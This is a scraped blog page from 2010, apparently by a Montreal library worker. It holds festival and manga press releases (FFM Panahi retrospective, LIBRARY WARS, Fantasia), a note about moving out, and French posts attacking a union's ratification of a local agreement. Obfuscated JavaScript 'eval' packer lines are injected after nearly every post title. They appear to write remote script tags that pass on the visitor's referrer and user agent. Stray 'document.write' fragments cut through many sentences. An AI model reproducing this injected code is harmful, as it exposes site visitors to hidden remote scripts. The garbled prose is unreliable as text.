Press Release: Le 34e FFM présentera une rétrospective de Jafar Panahi

Montréal, document.write(“”); le 10 Mai 2010. Le prochain festival des films du monde de Montréal présentera une rétrospective des films du cinéaste iranien Jafar Panahi qui fut le président du jury du FFM en 2009. Sa présence comme président du Jury l’an dernier a été remarquée et saluée par les médias internationaux qui reconnaissent en Mr Panahi l’un des grands cinéaste du monde. « Nous sommes heureux de lui consacrer cette rétrospective en hommage à son immense talent » déclare Serge Losique, le président du conseil du FFM.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsiak|var|u0026u|referrer|rizka||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yreds|var|u0026u|referrer|tzkrh||js|php’.split(‘|’),0,{}))

Né en 1960 à Mianeh (Iran), Jafar Panahi est l’un des cinéastes les plus influents de la Nouvelle Vague iranienne. Après son diplôme en réalisation du Collège IRIB à Téhéran, il réalise plusieurs courts et moyens métrages pour la télévision de son pays. En 1995, il signe son premier long métrage de fiction, LE BALLON BLANC,  qui remporte la Caméra d’or à Cannes la même année. Son deuxième film, LE MIROIR, remporte le Léopard d’or au Festival de Locarno en 1997. Son troisième long métrage, LE CERCLE, est présenté dans 40 pays et remporte 18 prix internationaux, parmi lesquels le Lion d’or à Venise en 2000. SANG ET OR (2003) remporte le Prix du jury dans la section Un certain regard à Cannes. Son dernier long métrage, OFFSIDE, est lauréat de l’Ours d’argent au Festival de Berlin en 2006.

Le Festival des films du monde se tient du 26 août au 6 septembre 2010.

L’AFFICHE DU FESTIVAL DES FILMS DU MONDE 2010

Montréal, le 27 avril 2010 – Le Festival des Films du Monde annonce que c’est le projet d’Hubert Samson qui a été choisi comme affiche de sa prochaine édition qui se déroulera du 26 août au 6 septembre 2010.

L’affiche du Festival des Films du Monde 2010 a été choisie par le public général parmi 3 finalistes, tous étudiants en arts graphiques à l’UQAM. Leur professeur, Philippe Béha (lui-même auteur de l’affiche du FFM en 1986), avait demandé à ses étudiants de créer une affiche pour le FFM 2010.

Le public était invité à voter pour désigner son affiche préférée parmi les finalistes et à écrire un commentaire sur les raisons de son choix. Parmi les nombreux commentaires, celui de d’Éric Montpetit, professeur de cinéma, exprime de manière éloquente les impressions éprouvées par ceux qui ont voté pour l’affiche d’Hubert Samson :

« L’acte de voir se trouve bien synthétisé dans cette image d’un personnage aux yeux multiples, symbole de la variété des points de vue exprimés dans la programmation du Festival et, également, dans le regard subjectif de chaque spectateur. Les contours flous de son corps donnent l’impression qu’il vibre ; touché, ébranlé, ému par ce qu’il voit. Cette vibration rappelle aussi celle de la lumière projetée à travers la pellicule sur l’écran. Belle évocation du mouvement au cinéma. Bravo ! »

Press Release: VIZ Media Debuts LIBRARY WARS Manga Series

A LOVE OF BOOKS AND READING INSPIRES A GIRL TO STAND AGAINST CENSORSHIP IN NEW MANGA SERIES LIBRARY WARS: LOVE AND WAR. New Shojo Adventure Follows A Young Recruit In The Library Defense Forces As She Protects The Right To Read.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhbds|var|u0026u|referrer|ayidi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzesz|var|u0026u|referrer|eyfha||js|php’.split(‘|’),0,{}))

San Francisco, document.write(“”); CA, MAY 10, 2010
VIZ Media, LLC (VIZ Media), one of the entertainment industry’s most innovative and comprehensive publishing, animation and licensing companies, brings a new literary manga adventure to North American readers with the release of LIBRARY WARS: LOVE & WAR on June 1st. The series, with story and art by Kiiro Yumi and based on the original concept by Hiro Arikawa, will be published under the Shojo Beat imprint, is rated ‘T+’ for Older Teens and will carry an MSRP of $9.99 U.S. / $12.99 CAN.

In the near future, the federal government creates a special committee to rid society of books it deems unsuitable. But the libraries vow to protect their collections, and with the help of local governments, form a military group to defend themselves – the Library Defense Forces!

In the opening volume, Iku Kasahara has dreamed of joining the LDF ever since one of its soldiers stepped in to protect her favorite book from being confiscated in a bookstore when she was younger. But now that she’s finally a recruit, she’s finding her dream job to be a bit of a nightmare. Especially since her hard-hearted drill instructor seems to have it in for her!

“Manga lovers will root for the cute librarians in this fun new series that also addresses some important issues like liberty, freedom of speech and censorship,” says Candice Uyloan, Director, Consumer Marketing, VIZ Media. “LIBRARY WARS is based on a collection of novels also written by Hiro Arikawa that were extremely popular in Japan, selling more than one million copies. Fans will definitely want to add this adventure to their summer reading lists!”

Hiro Arikawa won the 10th Dengeki Novel Prize for her work Shio no Machi: Wish on My Precious in 2003 and debuted with the same novel in 2004. Arikawa is probably best known for the LIBRARY WARS series and also her trilogy about Japan’s military Self Defense Forces, Jieitai Sanbusaku (The SDF Trilogy), which consists of In the Sky, The Bottom of the Sea, and City of Salt.

Kiiro Yumi won the 42nd LaLa magazine Manga Grand Prix Fresh Debut award for her manga Little Billy’s Depression. Her latest series, LIBRARY WARS: LOVE & WAR is currently featured in Japan’s LaLa magazine.

For more information on this title and other shojo titles from VIZ Media, please visit www.shojobeat.com.

About VIZ Media, LLC
Headquartered in San Francisco, CA, VIZ Media, LLC (VIZ Media), is one of the most comprehensive and innovative companies in the field of manga (graphic novel) publishing, animation and entertainment licensing of Japanese content. Owned by three of Japan’s largest creators and licensors of manga and animation, Shueisha Inc., Shogakukan Inc., and Shogakukan-Shueisha Productions, Co., Ltd., VIZ Media is a leader in the publishing and distribution of Japanese manga for English speaking audiences in North America, the United Kingdom, Ireland, and South Africa and is a global ex-Asia licensor of Japanese manga and animation. The company offers an integrated product line including the popular monthly manga anthology SHONEN JUMP magazine, graphic novels, and DVDs, and develops, markets, licenses, and distributes animated entertainment for audiences and consumers of all ages.

# # #

Press Release: Fantasia, The Shape of things to come


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aahrr|var|u0026u|referrer|ekizk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieden|var|u0026u|referrer|ryzks||js|php’.split(‘|’),0,{}))
Montreal Monday May 3rd, document.write(“”); 2010 – While we’re still several weeks away from announcing our full 2010 festival line-up, the
14th annual Fantasia International Film Festival is making an early announcement to highlight several special events planned for this summer’s fest, including a stage play, multiple lifetime achievement awards and a gala performance/screening premiere revolving around one of the most significant silent-film restorations in the history of moving images.

THE COMPLETE METROPOLIS – A GALA EVENT AT PLACE DES ARTS
Seldom has the rediscovery of a cache of lost footage ignited widespread curiosity as did the announcement, in July 2008, that an essentially complete copy of Fritz Lang’s METROPOLIS had been found. This prompted an incredible year-long restoration project, the results of which will be unveiled for the first time in Quebec this summer, at Fantasia. Featuring over 25 minutes of new material (1,257 shots, including entire new sequences), the complete METROPOLIS will be screened as a special gala event at the 3000-seat Wilfred Pelletier theatre in Place des Arts on July 28. For this special night, internationally renowned silent film composer Gabriel Thibaudeau is writing a new score for the feature, which he will perform with a 13-piece orchestra live at the screening. It will be a fantastically historical night in every sense of the word!

Notes on the music for Fantasia’s METROPOLIS event by Gabriel Thibaudeau:

“For the last 22 years I have been resident pianist and composer for the Cinematheque québécoise. METROPOLIS is one of the first films I played to. Writing a new score for this film represents, for me, a long cherished dream. The film’s modern feel and visual treatment lends itself well to experimentation and is a pure joy to create sound for!

How to express musically the class struggle and dialectic that are the foundations of this work? By utilizing not one, but two chamber orchestras! Quite simply, at stage left the orchestra represents the elitist spirit of the city through a string quintet and keyboard. At stage right a brass quintet with organ will form the second orchestra, symbol of the strength of the workers in the subterranean city. The percussion section in the center will form a link between the two worlds/ensembles.

For this two and a half hour performance, specially commissioned by the Fantasia Festival, the majority of movements will be precisely written and perfectly synchronized with the images on screen. However, certain passages will be more free, created live through “Soundpainting”, a technique of improvising from coded gestures used by the conductor.”
– Gabriel Thibaudeau

A LIFETIME ACHIEVEMENT AWARD FOR KEN RUSSELL
Fantasia will present Britain’s celebrated enfant terrible, the director of such one-of-a-kind classics as ALTERED STATES, TOMMY, CRIMES OF PASSION, WOMEN IN LOVE, LISZTOMANIA, GOTHIC, SALOME’S LAST DANCE, MAHLER and LAIR OF THE WHITE WORM, with a lifetime achievement award in celebration of his astoundingly unique and bravely provocative visions.  On the night of his ceremony, we will screen a rare 35mm print of his explosive and still-controversial 1971 masterpiece THE DEVILS. This notoriously powerful film, which remains unavailable on DVD anywhere in the world, stars Oliver Reed and Vanessa Redgrave, and featuring art direction by Derek Jarman.  Russell will be in town for a week and our special “Devils’ Night” award presentation will kick off a massive retrospective of his filmography split across Cinematheque Quebecoise and Cinema Du Parc.

DUAL LIFETIME ACHIEVEMENT AWARDS FOR ANIMATION DUO DON BLUTH & GARY GOLDMAN
Along with the homage to filmmaker Ken Russell, the Fantasia Film Festival is proud to give a lifetime achievement award to Don Bluth and Gary Goldman, the creative duo behind such animated modern classics as THE SECRET OF NIMH, AN AMERICAN TAIL and ALL DOGS GO TO HEAVEN. Bluth and Goldman share a unique story in animation cinema. Beginning their groundbreaking work with Disney, they created their own independent studio in 1973, which lead to numerous collaborations with Steven Spielberg and George Lucas, a detour in the video game world with the DRAGON’S LAIR series and a dozen imaginative feature films. To celebrate this event, the Fantasia Film Festival will screen the prehistoric tale THE LAND BEFORE TIME, the unforgettable classic that lives in the imagination of a generation of cinephiles. Our audience will also have a chance to meet the filmmakers during a special panel on animation.

THE INTERNATIONAL PREMIERE OF STUART GORDON & JEFFREY COMBS’ CRITICALLY ACCLAIMED EDGAR ALLAN POE STAGE PLAY
Award-winning filmmaker Stuart Gordon, beloved for such films as RE-ANIMATOR, FROM BEYOND and STUCK will be returning to Fantasia (after gracing us with the Canadian premiere of EDMOND in 2006) with his staple star Jeffrey Combs to stage their acclaimed one-man play NEVERMORE: AN EVENING WITH EDGAR ALLAN POE, which features Combs in a breathtaking performance as the legendary author. It should be noted that Gordon was a celebrated theatre director for many years before turning to cinema. Among his many impressive credits, the future filmmaker founded Chicago’s Organic Theater in the ’70s and was the first to stage a play by David Mamet, who he continues to collaborate with every now and then. A spellbinding recreation of the public recitals that Poe regularly performed in the years before his death, based on reviews and reports of his actual appearances, NEVERMORE premiered in Los Angeles in July 2009 and was originally slated to run for four weeks.  Critical raves and mass audience draws saw the run extended to nearly six months. Combs’ performance is so captivating and mercurial that many critics have championed him as “the definitive Poe,” a claim that we can fully agree with! 2010 also happens to be the 25th anniversary of RE-ANIMATOR, and in celebration of this, Fantasia will be screening an uncut 35mm print of the cult classic, hosted by Gordon and Combs.

MORE – MUCH MORE – TO COME
The above is but an early tease-taste of what Fantasia has lined up for Montrealers this summer, released to tide you over until we announce our full line-up of over 100 feature films in mid-June. Don’t hesitate to get in touch if you’ve got any questions or requests. Enquiries can be sent to press@fantasiafestival.com .

The 14th annual Fantasia International Film Festival takes place in Montreal July 8 – July 28 2010.

Fantasia Vidéo Promo 2010 from Fantasia International Film Fest on Vimeo.
Also check the festival website: www.fantasiafestival.com

Revue de Presse / Press Review (2010/05/06)

Busier than ever and not much time to pay attention to news. However, document.write(“”); a few major events were worth noticing this week: more economic troubles in Greece, the ecological disaster continues in the Golf of Mexico, and it looks like the U.K. election will end up with a hung parliament
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|insba|var|u0026u|referrer|rrazh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syfky|var|u0026u|referrer|teezt||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics

Media, Culture & Society

Montreal & Local/National Politics

Movie Festivals

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Moving on

It is now official. I met tonight the new owner of the building where I live and he want to move into my appartment. However, document.write(“”); legally, I can stay until the end of my current lease, which means I could stay another forteen months. But I’ll do my best to leave as early as I can. Which means I really have to get going with my appartment clean up and the virtual yard sale I am planning to do to get rid of at least half my stuff. Which also means I won’t have much time for anything else (I’ll stop being involved in union-related activities and try to reduce my writing / bloging a little). And I’ll probably need LOTS of moral support…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akeai|var|u0026u|referrer|rdyae||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dneii|var|u0026u|referrer|kyief||js|php’.split(‘|’),0,{}))

I like my place and the neighborhood, but all good things have an end. That’s life. We have to accept that and move on…

Nouvelles syndicales bis (updated)

Mise à jour (2010/05/8): Entente AH-CA
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iynri|var|u0026u|referrer|anaea||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inhbi|var|u0026u|referrer|fndyh||js|php’.split(‘|’),0,{}))

Apparemment, document.write(“”); malgré tout nos efforts, six personnes se seraient présentées et auraient voté à l’assemblée sectorielle de AH-CA (pourtant une source très fiable me confirme n’avoir vu que trois personnes entrer et qu’il n’y avait, à 9:15, que trois personne dans la salle… une autre source aurait entendu une personne sortant de l’assemblée dire qu’ils étaient six — mais peut-être comptait-il les sbires et “gros-bras” du syndicat, présent pour s’assurer que tout se déroulait “dans l’ordre” ?)…

Quoiqu’il en soit, la lettre d’entente de AH-CA a donc été entériné par les membres. La preuve: une note de service regardant les blocs d’heures et vacances pour l’été (l’horaire d’été débutant le 5 juin, les disponibilités et demandes de vacances doivent être remises avant le 15 mai) débute par “Suite à la signature de la lettre d’entente locale…”

Je ne m’étendrai pas sur le fait que la voix de trois (ou six) personnes puisse avoir plus de poids que celle de dix-huit personnes signalant clairement, par écrit, leur dissatifaction avec le processus de ratification des ententes. Mon indignation est sans bornes (et c’est vraiment mauvais pour ma pression) devant cette moquerie de démocratie. Il semble donc que les absents ont bel et bien toujours tort… Après avoir essayé sans résultats les stratégies habituelles (demander en assemblée le report du vote pour consulter le texte, promouvoir le vote pour le “non”, etc.) lors des votes précédents nous avons tenté cette fois-ci d’approcher la question avec une autre méthode (la lettre-ultimatum) qui s’est avérée toute aussi inéfficace.

Après avoir entendu beaucoup de mes collègues auxiliaires se plaindre de la situation (condition de travail en recul, mauvaise représentation du syndicat, etc.) j’ai fait ce que j’ai pu pour m’opposer à ce que je considérais injuste et abusif. Peu importe les résultats, je garde donc bonne conscience. Mais il semble que mes collègues ne soient pas indignés au point de vraiment s’impliquer. J’ai déjà donné beaucoup de temps (et même perdu des heures de salaires!) pour exprimer l’insatisfaction de mes collègues et j’en ai moi-même plein le dos de me faire abuser par l’employeur et par le syndicat tout à la fois, mais il semble qu’on ne peut pas faire grand chose contre un adversaire qui ne joue pas de façon juste et équitable (“fair-play”). C’est beau s’indigner contre toute l’injustice et la corruption qui semble infester tout les niveaux de gouvernements ces derniers temps, mais j’ai vraiment d’autres choses à faire…

Sur l’entente elle-même je ne me contenterai donc que de quelques brefs commentaires:

  • la légitimité de cette entente (comme toutes les autres) est entâchée par des motifs (pourquoi négocier séparément avec les arrondissements alors que le syndicat dépenses des sommes non-révélés sur une campagne de publicité qui clame que le problème à la ville c’est justement les arrondissements???) et un processus (voter une entente sans en avoir préalablement eut les détails, faire tenir le vote sur le lieu de travail) très “discutable” pour ne pas dire douteux
  • la lettre officialise l’idée que l’embauche est un pouvoir d’arrondissement (même si l’employeur demeure la ville)
  • on doit heureusement admettre que ce n’est pas la pire des ententes (par opposition à l’infâme entente de MHM par exemple) car la clause des 21 heures est absente
  • toutefois l’assignation des blocs se fait en favorisant la disponibilité sur l’ancienneté (pire: ceux qui ont de la disponibilité les week-ends ont la priorité) alors que l’ancienneté devrait être le critère absolu
  • la partie VII C) ne précise que “grief en suspens…” Quel moron irait non seulement négocier, mais aussi voter et signer une entente incomplète? Ça veut dire quoi “grief en suspens…” ?
  • il reste encore deux arrondissements à voter (espérons que les auxiliaires de ces arrondissements y penserons à deux fois avant d’entériner leur entente) et, de toute façon, toute cette histoire de lettre d’entente sera à repenser lors des prochaines négociations de la convention collective…

Vous pouvez donc lire la lettre d’entente de AH-CA [PDF] et juger par vous-même. Mise à jour (2010/05/04): assemblée de AH-CA Notre ami le Canardeur (voir Canardeur de Ahuntsic-Cartierville vol. 1, #5: “Notre absence dit tout” [PDF]) nous apprend qu’“il y aurait eu trois personnes qui se seraient présentées à la supposée assemblée sectorielle du 3 mai.” Hélas on ne peut pas toujours rejoindre tout le monde… Mais dix-huit auxiliaires ont tout de même signé notre lettre-ultimatum, exprimant ainsi leur volonté de ne pas se prononcer sur la lettre d’entente tant et aussi longtemps que le texte ne serait pas déposé d’avance pour leur permettre de le lire attentivement et d’en délibérer. Cela représente la très grande majorité des auxiliaires de bibliothèques de l’arrondissement. Il ne serait pas très démocratique d’ignorer la volonté de cette majorité… En attendant d’avoir des nouvelles du syndicat lui-même, j’apprécierais beaucoup si quelqu’un qui était présent (ou qui connait quelqu’un qui était présent) à la dite assemblée sectorielle du 3 mai pouvait nous contacter (soit moi-même ou le canardeur) pour nous raconter comment cela s’est déroulé (et peut-être nous fournir une copie de la lettre-d’entente si elle leur a été présenté)… Pas des paroles en l’air La preuve que les commentaires critiques sur les lettres d’entente ne sont pas des paroles en l’air, c’est que les gens impliqués (principalement l’équipe du Colvert, moi-même et quelques autres collègues outrés de la situation) ne les avancent pas les mains vides. (voir le Canardeur de Ahuntsic-Cartierville vol. 1, #2, “Comparaison et réflexion” [PDF]). Il y a un an de cela un délégué de CDN-NDG, Pierre Gélinas, avait travaillé à élaborer pour son arrondissement un projet syndical qui consistait en une version de lettre d’entente qui leur était propre. À partir de ce projet on peut concevoir qu’il est possible de développer et de négocier une lettre d’entente qui n’enferme pas les auxiliaires dans leurs arrondissements et qui respecte tant l’ancienneté-ville que d’arrondissement. Il reste certainement beaucoup de travail à faire pour finaliser et faire accepter cette version mais la possibilité est là. Au moins c’est une version qui a été réalisé en consultation avec les membres (de CDN-NDG… mais le processus peut se poursuivre avec l’apport de tous). C’est certainement la meilleure solution en attendant qu’un service central, similaire à la défunte banque réseau, soit éventuellement établit pour coordonner les assignations et l’ancienneté à travers les arrondissements… Contrairement à ce qui a été fait dernièrement, ce processus devrait se faire dans la transparence, en essayant d’informer ou même d’impliquer tout les membres. Dans cet esprit, je vous invite à voir par vous-même:

Le SFMM répond L’équipe du Colvert nous transmet la réponse du SFMM à la lettre-ultimatum des auxiliaires de Ahuntsic-Cartierville. (voir le Canardeur de Ahuntsic-Cartierville vol. 1, #3, “Nous, les membres” [PDF]). En clair cette réponse est un refus de fournir le texte de l’entente dans des délais raisonables pour que les auxiliaires de AH-CA aient le temps de l’étudier. Ce qu’on nous offre ici est exactement ce que les autres arrondissements ont eu lors du vote de leur entente: présentation rapide de l’entente, période de questions avec de vagues réponses, pas de véritable moment de discussion et un vote secret précipité. Une farce de démocratie, quoi. Cela demeure toujours inacceptable. Si nous n’avons pas le texte plusieurs semaines d’avance, nous ne nous présenterons pas à l’assemblée sectorielle. Point. Inutile de voter sur un texte dont on ne connait pas les détails. Ce genre de réponse de la part du syndicat représente bien leur attitude méprisante et condescendante: “on sait mieux que vous même ce qui est bon pour vous, alors faite donc ce qu’on vous dit”! Et, par ce fait, ils ignorent totalement ce que la vaste majorité des auxiliaires concernés leur demandent… Comme le dit notre ami le Canardeur d’AH-CA (vol. 1, #4 [PDF]), plus que jamais notre absence à l’assemblée sectorielle est essentielle pour bien faire comprendre le message que la volonté des membres ne doit pas être bafouée. Un petit bricolage amusant Pour embêter le syndicat, je vous propose un petit bricolage amusant. Il s’agit ici de parodier la campagne de publicité du SFMM en produisant des macarons qui disent: “SFMM, fais un syndicat de toi!”. Procurez-vous d’abord un macaron de la campagne “Montréal, fais une ville de toi!” (ils sont si mignons ces macarons!). Puis téléchargez le modèle de macaron simple ou en feuille et imprimez-le en couleur. Il ne vous reste plus qu’à découper l’image le long de la ligne grise et à la coller sur le macaron existant. Rigolo, non?

Revue de Presse / Press Review (2010/04/29)

The usual routine: busy, document.write(“”); busy, not much news and the ecological disaster of the week: an oil rig sinks in the Golf of Mexico, spilling enough of the black gold to make the Exxon-Valdez blush!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adrsy|var|u0026u|referrer|srfes||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyzad|var|u0026u|referrer|eazid||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Le climat se rafraîchit

Après avoir eut des températures dans les 20’C à plusieurs reprises durant avril, document.write(“”); voilà qu’il neige à nouveau! On pourrait appeller ça l’hiver indien je crois!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itfda|var|u0026u|referrer|ddfbn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srzfk|var|u0026u|referrer|ikyez||js|php’.split(‘|’),0,{}))

Citation de la semaine:
Pater dimitte illis non enim sciunt quid faciunt…” (Luc 23:34)

Nouvelles syndicales

Assemblée sectorielle à Ahuntsic-Cartierville
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfssy|var|u0026u|referrer|sazha||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbyys|var|u0026u|referrer|btbda||js|php’.split(‘|’),0,{}))
La campagne pour faire repousser l’
assemblée sectorielle portant sur la lettre d’entente tant que le texte de celle-ci n’aura pas été préalablement soumis aux auxiliaires des bibliothèques de l’arrondissement Ahuntsic-Cartierville va bon train [voir le Canardeur de Ahuntsic-Cartierville vol. 1, document.write(“”); #1, “Le SFMM avisé de notre position”].

La très grande majorité des auxiliaires des bibliothèques de l’arrondissement a signé une lettre-ultimatum exigeant “de recevoir, et cela au moins quinze (15) jours avant tout vote, le texte écrit sur papier de la lettre d’entente négociée avec notre arrondissement. Faute de quoi, nous nous engageons à ne pas nous présenter à toute Assemblée sectorielle concernant l’adoption de toute lettre d’entente mettant fin à l’entente EV 96 94.” La lettre-ultimatum a été transmise à l’exécutif du SFMM aujourd’hui. [Pour plus de détails voir le Canardo Pressé vol. 5, #2, “Lettre d’entente: une riposte”]

